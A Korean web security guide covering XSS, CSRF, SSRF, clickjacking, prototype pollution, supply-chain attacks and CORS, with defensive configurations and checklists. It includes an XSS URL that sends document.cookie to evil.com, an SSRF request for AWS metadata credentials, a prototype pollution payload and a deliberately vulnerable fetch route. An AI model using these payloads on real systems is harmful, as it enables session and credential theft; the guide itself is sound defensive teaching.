필사 모드: 웹 보안 공격·방어 실전 — XSS, CSRF, SSRF, Clickjacking, Prototype Pollution, Supply Chain, CORS 완전 가이드 (2025)
한국어왜 '공격 기술' 글이 필요한가
개발자가 OWASP Top 10이 있는 건 안다. 그러나 그 의미가 **자기 코드 어디에 있는지** 모른다. 보안은 이론이 아니다. **구체적인 공격 기법과, 구체적인 방어 코드**로 배워야 한다.
- 2024년 CVE 등록 수: **사상 최고치 경신**, 28,000건 이상.
- npm 공격이 GitHub Dependabot으로 30% 감소했으나, 여전히 주간 수백 건.
- AI 생성 코드는 평균 40% 더 높은 취약점 밀도(Stanford 2024).
**2025년에도 당신의 앱이 해킹당하는 방식은 대부분 여기에 나온 10가지 중 하나**다.
Part 1 — XSS (Cross-Site Scripting)
3종류
1. Reflected XSS
https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>
서버가 `q`를 그대로 HTML에 삽입. URL 한 번 클릭으로 탈취.
2. Stored XSS
댓글, 프로필 같은 영구 저장소에 악성 스크립트 저장. **최악** — 방문자 전체가 영향.
3. DOM-based XSS
서버는 멀쩡. 클라이언트 JS가 `location.hash`나 `postMessage`를 무검증으로 DOM에 삽입.
// 나쁨
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;
방어 계층
1. 출력 이스케이핑 (기본)
- React, Vue, Svelte는 **기본적으로 이스케이프**.
- 단, `dangerouslySetInnerHTML`, `v-html`, `{@html}` 사용 시 뚫림.
- 사용자가 HTML을 제공해야 한다면 **DOMPurify**로 sanitize.
element.innerHTML = DOMPurify.sanitize(userHtml);
2. CSP (Content Security Policy)
**가장 강력한 XSS 방어.**
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
- **nonce**: 서버가 응답마다 랜덤 값 생성, `<script nonce="...">`에 포함.
- **strict-dynamic**: 신뢰된 스크립트가 로드한 스크립트도 실행 허용.
- **'unsafe-inline' 절대 X** — 90%의 CSP 우회가 여기서 시작.
3. Trusted Types (Chrome 83+, Firefox/Safari 미지원 → polyfill)
"**위험한 sink(innerHTML 등)에 문자열 직접 할당 금지.**"
Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('my-policy', {
createHTML: (input) => DOMPurify.sanitize(input)
});
element.innerHTML = policy.createHTML(userInput);
Google에서 의무화 후 자사 앱 XSS 리포트가 급감.
4. 프레임워크 안전한 API
- React: `dangerouslySetInnerHTML` 대신 일반 children.
- Vue: `v-html` 대신 `{{ }}`.
- Angular: `[innerHTML]` + `DomSanitizer`.
Part 2 — CSRF (Cross-Site Request Forgery)
원리
공격자 사이트가 `<form action="https://bank.com/transfer" method="POST">`를 자동 제출. 피해자의 쿠키가 자동 전송되어 요청 성공.
2020년 이전 방어: CSRF Token
- 서버가 토큰 발급 → form hidden field에 포함 → 검증.
- Django, Rails가 기본 내장.
2020년 이후: SameSite Cookie
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/
- **Lax (2020년 Chrome 기본)**: top-level navigation GET만 허용.
- **Strict**: 크로스 사이트에선 절대 안 보냄.
- **None**: 무관(`Secure` 필수).
**대부분의 CSRF가 SameSite Lax로 자동 방어됨.** 단, 다음 케이스는 여전히 토큰 필요:
- GET 요청이 상태를 변경하는 경우(RESTful 위반).
- 서브도메인 간 요청.
- CORS로 열어둔 POST 엔드포인트.
Double Submit Cookie
서버 세션 없이 CSRF 방어. 쿠키와 요청 헤더에 같은 토큰을 보내 검증. **SPA + 토큰 인증**에 자주 쓴다.
Part 3 — SSRF (Server-Side Request Forgery)
2019 Capital One 사건
공격자(Paige Thompson)가 AWS EC2 메타데이터(`169.254.169.254`)에 **서버 측에서 요청**하도록 유도, IAM 자격증명 탈취 → S3 버킷 1억 명 데이터 유출.
공격 패턴
서버 코드
@app.route('/fetch')
def fetch():
url = request.args.get('url')
return requests.get(url).text
공격: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
방어
1. **IMDSv2 사용 (AWS)** — 토큰 기반, GET에서 세션 필요.
MetadataOptions:
HttpTokens: required
HttpPutResponseHopLimit: 1
2. **URL 검증** — 스킴·호스트·포트·DNS resolve 후 IP 검증.
- 사설 IP 대역 차단(10/8, 172.16/12, 192.168/16, 127/8, 169.254/16).
- DNS Rebinding 방어 — 검증 후 실제 요청 직전에 재검증.
3. **네트워크 분리** — SSRF 위험 코드는 메타데이터에 접근 못 하는 VPC/서브넷에 배치.
4. **아웃바운드 프록시** — 허용 목록 기반 강제 프록시 경유.
5. **Fetch 라이브러리의 `redirect: 'manual'`** — 리다이렉트로 내부 접근 우회 방지.
추가 포인트: 0.0.0.0, IPv6, 단축 URL
- `http://0.0.0.0/` → 로컬 바인드 주소로 해석.
- `http://[::1]/` → IPv6 루프백.
- `http://bit.ly/...` → 리다이렉트로 내부 대상.
Part 4 — Clickjacking
원리
공격자 사이트가 피해 사이트를 `<iframe>`으로 **투명하게 덮어씌우고** 사용자의 클릭을 가로챔.
방어
X-Frame-Options: DENY
또는
Content-Security-Policy: frame-ancestors 'none'
`frame-ancestors`가 더 강력하고 유연(여러 도메인 허용 가능). `X-Frame-Options`는 레거시지만 여전히 추가하는 게 안전.
**사용자 관점 방어:** 중요한 액션(결제, 비밀번호 변경)엔 **재인증** 또는 **추가 확인** 단계.
Part 5 — Prototype Pollution
원리 (Node.js / 브라우저 JS 공통)
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// 이후 모든 객체가 isAdmin: true를 가짐
({}).isAdmin // true
실제 CVE
- **Lodash** (2019, `_.merge`) — 수백만 앱 영향.
- **jQuery** `$.extend(true, ...)`.
- **minimist** (2020) — 수많은 CLI 도구 영향.
방어
1. **재귀 merge 시 `__proto__`, `constructor`, `prototype` 필터링.**
2. **Object.freeze(Object.prototype)** — 가능하면 앱 시작 시.
3. **Map 사용** — 임의 키를 저장할 땐 plain object 대신 Map.
4. **`Object.create(null)`** — 프로토타입 없는 객체.
function safeMerge(target, source) {
for (const key in source) {
if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
target[key] = source[key];
}
}
Part 6 — Supply Chain 공격
대표 사건
event-stream (2018)
npm 주간 2M 다운로드 패키지에 악성 코드 삽입. Copay 암호화폐 지갑이 표적. 피해자 지갑의 BTC 탈취 시도.
ua-parser-js (2021)
주간 6M 다운로드. 공격자가 유지보수자 계정 탈취 후 악성 버전 배포.
xz-utils (2024)
거의 **모든 리눅스**에 포함되는 압축 라이브러리. "Jia Tan"이 2년에 걸쳐 유지보수자 자격 획득 후 OpenSSH 백도어 삽입. Microsoft 엔지니어 Andres Freund가 우연히 발견.
SolarWinds (2020)
**빌드 파이프라인** 자체가 침투당함. 악성 코드가 서명된 업데이트에 포함되어 18,000 고객에 배포.
방어
1. **Lock 파일 커밋** — `package-lock.json`, `pnpm-lock.yaml`.
2. **`npm ci`** — CI에서 lock 준수.
3. **자동 의존성 업데이트 + 검토** — Dependabot / Renovate.
4. **취약점 스캐너** — Snyk, GitHub Advisory, `npm audit`.
5. **SBOM 생성** — Syft로 구성요소 목록화.
6. **서명 검증** — npm 2023+ provenance, Sigstore/cosign.
7. **OSSF Scorecard** — 패키지 보안 점수 확인.
8. **Least-privilege CI** — 빌드 서버가 필요 이상 권한을 안 갖게.
Typosquatting
`rquest` (실제는 `request`), `lodas` (실제는 `lodash`) — 오타를 노린 악성 패키지. **정식 이름 복사** 버릇을 들이자.
Part 7 — CORS 완전 이해
많은 개발자의 오해
"CORS를 풀면 보안이 풀린다." **틀렸다.** CORS는 **보안 기능이 아니라 같은 출처 정책(SOP)의 예외 허용 메커니즘**이다. SOP가 기본 방패이고, CORS는 그 방패에 구멍을 뚫는 도구.
기본 규칙
브라우저가 크로스 오리진 요청을 보낼 때:
- **단순 요청**: GET/HEAD/POST + 특정 Content-Type → 바로 전송, 응답에 `Access-Control-Allow-Origin` 있으면 읽기 허용.
- **사전 요청(preflight)**: PUT/DELETE/커스텀 헤더/JSON POST → 먼저 OPTIONS 요청으로 확인.
흔한 실수
1. `Access-Control-Allow-Origin: *` + `Allow-Credentials: true`
브라우저가 거부. 와일드카드면 자격증명 포함 불가. **반드시 특정 오리진 echo**.
// 나쁨
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
// 좋음 (허용 목록 체크 후)
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
2. `Origin`을 그대로 echo
정규식 체크 없이 echo하면 **어떤 사이트든 자격증명 읽기 가능** → 심각.
3. `Vary: Origin` 누락
캐시가 잘못된 응답을 다른 오리진에 서빙.
CORS와 보안의 관계
- CORS가 열려 있다고 **토큰이 유출되진 않는다** — HttpOnly 쿠키/Authorization 헤더는 여전히 안전.
- 단, **CSRF 방어가 SameSite+Origin 검증에 의존할 때**, CORS 설정 실수가 인증된 요청 허용을 만든다.
Part 8 — Rate Limiting & Bot Defense
왜 필요한가
- 로그인 brute force
- 등록 스팸
- 스크래핑으로 인한 비용 폭증
- AI 오버유저로 인한 API 남용
전략
1. **IP 기반 토큰 버킷** — Redis `INCR` + TTL이 흔한 구현.
2. **사용자/계정 기반** — 로그인 후는 IP보다 계정 단위.
3. **Sliding Window** — 정확하지만 비용 높음.
4. **CDN/Edge 단**에서 차단 — Cloudflare, Fastly, Vercel Firewall.
Bot Detection
- **Cloudflare Turnstile** (2022) — 사용자 경험 좋은 CAPTCHA 대체.
- **hCaptcha**, **Google reCAPTCHA v3**.
- **Arkose Labs** — 금융권 표준.
- **Device Fingerprinting** — FingerprintJS.
응답 정책
- 429 Too Many Requests + `Retry-After` 헤더.
- 침묵 실패보다 **명확한 에러**가 사용자·지원팀 모두에 이득.
- 공격자 대상엔 **지연 응답(tarpit)**으로 시간 낭비 유도.
Part 9 — 인증의 흔한 실수
1. JWT를 로컬스토리지에 저장
XSS 한 번에 탈취. **HttpOnly 쿠키**를 써라.
2. 비밀번호 해싱에 SHA-256
**Argon2id, bcrypt, scrypt**만. 일반 해시는 GPU로 초당 수억 번 역산.
3. 비밀번호 복구 토큰이 예측 가능
`btoa(email + Date.now())` 같은 실수. **암호학적 난수 + 짧은 TTL + 1회 사용**.
4. 이메일 열거(Enumeration)
"이 이메일은 가입되어 있지 않습니다" → 공격자가 회원 목록 수집. 응답을 **일관되게**.
5. 세션 고정(Session Fixation)
로그인 성공 시 세션 ID를 **반드시 회전**.
Part 10 — HTTPS와 인증서의 실수
HSTS 미설정
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
초기 HTTP 요청의 MITM 방어. `preload` 목록에 등록하면 첫 방문도 보호.
인증서 고정(Pinning)의 함정
모바일 앱에 공개키 고정. 인증서 갱신 시 **앱을 새로 배포 못 하면 전체 사용자 중단**. 서비스 사용자 수천만이면 고정하지 말라. CT(Certificate Transparency) 모니터링이 더 실용적.
Let's Encrypt + 자동 갱신
- 90일 인증서 → 자동 갱신 필수.
- 2024년 **ACME Renewal Info(ARI)**로 갱신 타이밍 지능화.
- **rustls-acme, lego, certbot, Caddy**(내장).
Part 11 — 실무 체크리스트 (12항목)
1. **CSP를 처음부터** — 런타임에 붙이면 항상 `unsafe-inline`이 남는다.
2. **SameSite=Lax 기본** — 예외 시만 None.
3. **HttpOnly + Secure** — 세션 쿠키는 자명.
4. **IMDSv2 강제** — AWS 사용 시 필수.
5. **URL fetch는 SSRF 프록시 경유** — 직접 `fetch(userUrl)` 금지.
6. **의존성은 lock 파일 + 자동 감사**.
7. **모든 외부 입력은 스키마 검증 (Zod 등)**.
8. **출력 sink는 sanitize** — innerHTML 할당 전 DOMPurify.
9. **비밀번호는 Argon2id** — 단, 기존 bcrypt도 괜찮음.
10. **Rate Limit + 로그인 실패 지수 지연**.
11. **시크릿은 Vault/Secrets Manager** — `.env` 파일 커밋 X.
12. **보안 헤더 모두 설정** — HSTS, CSP, XFO, XCTO, Referrer-Policy, Permissions-Policy.
Part 12 — 10대 안티패턴
1. **`innerHTML = userData`** — XSS 직행.
2. **`dangerouslySetInnerHTML` 남용** — sanitize 없이 사용.
3. **`Access-Control-Allow-Origin: *` + 자격증명**.
4. **URL fetch를 어떤 검증도 없이**.
5. **`eval`, `Function(string)`, `setTimeout(string)`**.
6. **JWT를 localStorage에** — XSS 한 번에 모든 것.
7. **비밀번호 재설정 토큰이 단순 숫자 / 시간 기반**.
8. **에러 메시지에 내부 정보 노출** — 스택 트레이스·쿼리·토큰.
9. **CAPTCHA 없이 무한 시도 허용**.
10. **"HTTPS니까 안전하다"** — 전송 보안은 기본. 인증·인가는 별개.
Part 13 — 학습 & 실습 리소스
- **책:** *The Web Application Hacker's Handbook* (Stuttard & Pinto) — 고전.
- **책:** *Real-World Bug Hunting* (Peter Yaworski) — HackerOne 실제 사례.
- **플랫폼:** PortSwigger Web Security Academy (무료).
- **대회/연습:** HackTheBox, TryHackMe.
- **도구:** Burp Suite, OWASP ZAP, Semgrep, CodeQL.
- **뉴스:** Krebs on Security, The Hacker News, GitHub Advisory DB.
- **에세이:** 매년 Snyk/Google의 보안 리포트 읽기.
마치며 — 보안은 '기본기'다
이 글의 공격들은 1998년부터 2024년까지 매년 반복되어 온 것들이다. 새 기술이 나와도 **기본기를 놓친 앱부터 먼저 뚫린다.**
2025년의 엔지니어에게 보안은 **"해커가 하는 특수 분야"**가 아니다. 매일의 코드 리뷰, 매일의 라이브러리 선택, 매일의 API 설계에 녹아 있는 **기본기**다.
좋은 소식: **이 글에 나온 방어법은 대부분 무료**다. CSP, SameSite, DOMPurify, Zod, Dependabot, Cloudflare Turnstile. 설정 한 줄, 라이브러리 하나로 수많은 공격을 무력화한다.
**나쁜 소식:** "다음 프로젝트엔 꼭 해야지"라고 미루는 것. 이미 배포된 앱이 지금 이 순간도 스캔당하고 있다.
다음 글 예고 — "실전 네트워크 엔지니어링" — TCP 혼잡 제어, TLS 1.3, HTTP/3 QUIC, DNS over HTTPS, BGP, CDN 내부까지
웹 보안이 '무엇을 막을까'였다면, 다음 글은 '어떻게 데이터가 오가는가'다.
- **TCP 혼잡 제어의 현대** — BBR, CUBIC, PRR
- **TLS 1.3의 혁명** — 1-RTT, 0-RTT, Post-Quantum
- **HTTP/3 + QUIC** — UDP 기반 재해석
- **DNS의 진화** — DoH, DoT, DNSSEC, ECS
- **BGP 하이재킹** — Facebook 2021년 6시간 장애의 진짜 원인
- **Anycast와 CDN 라우팅** — Cloudflare/Fastly/Akamai
- **WebSocket vs SSE vs WebTransport** — 실시간 통신의 선택
- **Zero RTT의 보안 위험** — replay attack
- **eBPF로 네트워크 관측**하기
- **프로토콜을 패킷 단위로 이해하기** — Wireshark 실전
"네트워크가 느려요"의 원인을 프로토콜 레이어로 내려가 찾는 법. 다음 글에서.
현재 단락 (1/193)
개발자가 OWASP Top 10이 있는 건 안다. 그러나 그 의미가 **자기 코드 어디에 있는지** 모른다. 보안은 이론이 아니다. **구체적인 공격 기법과, 구체적인 방어 코드*...